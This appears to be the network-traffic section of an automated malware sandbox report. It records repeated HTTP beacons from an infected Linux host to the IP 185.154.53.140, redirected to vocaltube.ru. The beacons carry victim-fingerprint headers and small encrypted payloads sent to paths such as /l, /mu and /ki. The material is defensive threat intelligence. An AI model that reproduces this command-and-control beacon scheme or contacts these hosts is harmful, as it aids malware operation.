                                                Connection: close
                                                Content-Length: 56
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:06.986979008 CET122OUTData Raw: 54 07 40 46 84 16 c5 32 a2 4e 83 f8 33 05 a4 1c f6 7b 17 92 09 f2 b2 a5 a7 cb c3 49 cd 52 88 04 62 99 6b 9d 97 d1 1c 0d f5 78 9d aa 13 b7 ef ea e4 e9 63 2f 5c f8 6d 24
                                                Data Ascii: T@F2N3{IRbkxc/\m$
                                                Nov 29, 2023 18:00:07.348088980 CET538INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:07 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/l
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                4192.168.2.2351166185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:09.294225931 CET503OUTPOST /mu HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 0
                                                Arch: arm64
                                                Cores: 2
                                                Id: kEYItBUgmVxsTilBfeqnkdZqlVWoUa
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:09.656766891 CET539INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:09 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/mu
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                5192.168.2.2351170185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:11.590604067 CET507OUTPOST /l HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 58
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:11.592051029 CET124OUTData Raw: 4f 37 54 58 8d 16 84 29 bb 1e da f6 25 09 b4 11 bb 78 18 86 0e b3 a1 b5 a1 ec 80 1d cb 53 b3 0d 42 8f 34 8a c4 d6 4f 43 e7 3d 87 a2 06 b6 ac e5 ff f4 2c 27 13 e8 71 32 e3 a8
                                                Data Ascii: O7TX)%xSB4OC=,'q2
                                                Nov 29, 2023 18:00:11.947338104 CET538INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:11 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/l
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                6192.168.2.2351174185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:14.025607109 CET507OUTPOST /ms HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 9
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:14.027679920 CET75OUTData Raw: 57 7a 71 5d 8d 14 d0 76 b2
                                                Data Ascii: Wzq]v
                                                Nov 29, 2023 18:00:14.383878946 CET539INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:14 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/ms
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                7192.168.2.2351178185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:28.364245892 CET507OUTPOST /s HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 50
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:28.367955923 CET116OUTData Raw: 57 7a 74 47 8c 44 c8 7c ed 68 ce fc 05 06 88 38 ca 29 5d c3 30 b3 a6 b3 f1 b3 98 7b eb 65 bf 0d 72 a3 4b da 9b 95 25 0c e3 2c d7 f1 53 ef fc b4 bc e0
                                                Data Ascii: WztGD|h8)]0{erK%,S
                                                Nov 29, 2023 18:00:28.728324890 CET538INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:28 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/s
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                8192.168.2.2351180185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:28.364584923 CET484OUTGET /get HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Arch: arm64
                                                Cores: 2
                                                Id: lXgcADDgNTANSlVMuXVSaaNzBRcFOC
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:28.728583097 CET540INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:28 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/get
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                9192.168.2.2351182185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:28.368160009 CET503OUTPOST /ki HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 0
                                                Arch: arm64
                                                Cores: 2
                                                Id: PyWRaVRDRnQAcWRRwJdRWSbSFfMtYu
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:28.732320070 CET539INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:28 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/ki
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                10192.168.2.2351190185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:30.732713938 CET507OUTPOST /l HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 58
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:30.786998034 CET124OUTData Raw: 4f 37 54 58 8d 16 84 29 bb 1e da f6 25 09 b4 11 bb 78 18 86 0e b3 a1 b5 a1 ec 80 1d cb 53 b3 0d 42 8f 34 8a c4 d6 4f 43 e7 3d 87 a2 06 b6 ac e5 ff f4 2c 27 13 e8 71 32 e3 a8
                                                Data Ascii: O7TX)%xSB4OC=,'q2
                                                Nov 29, 2023 18:00:31.089024067 CET538INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:30 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/l
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                11192.168.2.2351192185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:30.771353006 CET507OUTPOST /l HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 58
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:30.803013086 CET124OUTData Raw: 4f 37 54 58 8d 16 84 29 bb 1e da f6 25 09 b4 11 bb 78 18 86 0e b3 a1 b5 a1 ec 80 1d cb 53 b3 0d 42 8f 34 8a c4 d6 4f 43 e7 3d 87 a2 06 b6 ac e5 ff f4 2c 27 13 e8 71 32 e3 a8
                                                Data Ascii: O7TX)%xSB4OC=,'q2
                                                Nov 29, 2023 18:00:31.132596016 CET538INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:30 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/l
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                12192.168.2.2351198185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:33.079065084 CET483OUTGET /h2 HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Arch: arm64
                                                Cores: 2
                                                Id: XkuYcgDAciutzIypiAiuryUVKkvyRo
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:33.443870068 CET539INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:33 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/h2
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                13192.168.2.2351204185.154.53.14080
                                                TimestampBytes transferredDirectionData
                                                Nov 29, 2023 18:00:36.347754002 CET507OUTPOST /ms HTTP/1.1
                                                Host: 185.154.53.140
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Connection: close
                                                Content-Length: 9
                                                Arch: arm64
                                                Content-Type: application/octet-stream
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                Nov 29, 2023 18:00:36.349129915 CET75OUTData Raw: 57 7a 71 5d 8d 14 d0 76 b2
                                                Data Ascii: Wzq]v
                                                Nov 29, 2023 18:00:36.707231998 CET539INHTTP/1.1 301 Moved Permanently
                                                Server: nginx
                                                Date: Wed, 29 Nov 2023 17:00:36 GMT
                                                Content-Type: text/html
                                                Content-Length: 162
                                                Connection: close
                                                Location: https://vocaltube.ru/ms
                                                Strict-Transport-Security: max-age=31536000
                                                Content-Security-Policy: img-src https: data: blob:; upgrade-insecure-requests
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                HTTPS Proxied Packets

                                                Session IDSource IPSource PortDestination IPDestination Port
                                                0192.168.2.2352160185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:00 UTC395OUTGET /mg HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Cores: 2
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/mg
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
                                                2023-11-29 17:00:00 UTC143INData Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 32 39 20 4e 6f 76 20 32 30 32 33 20 31 37 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 34 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a
                                                Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 29 Nov 2023 17:00:00 GMTContent-Type: text/htmlContent-Length: 548Connection: close
                                                2023-11-29 17:00:00 UTC548INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1192.168.2.2352164185.154.53.140443
                                                TimestampBytes transferredDirectionData
                                                2023-11-29 17:00:03 UTC431OUTGET /mu HTTP/1.1
                                                Host: vocaltube.ru
                                                User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
                                                Arch: arm64
                                                Cores: 2
                                                Id: AVlUGnSVaInqKQGUMEBcdUNwlsHekB
                                                Mem: 2992
                                                Os: linux
                                                Osname: ubuntu
                                                Osversion: 20.04
                                                Referer: http://185.154.53.140/mu
                                                Root: true
                                                Started: 1701277137
                                                Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5
                                                Version: 39
                                                Accept-Encoding: gzip
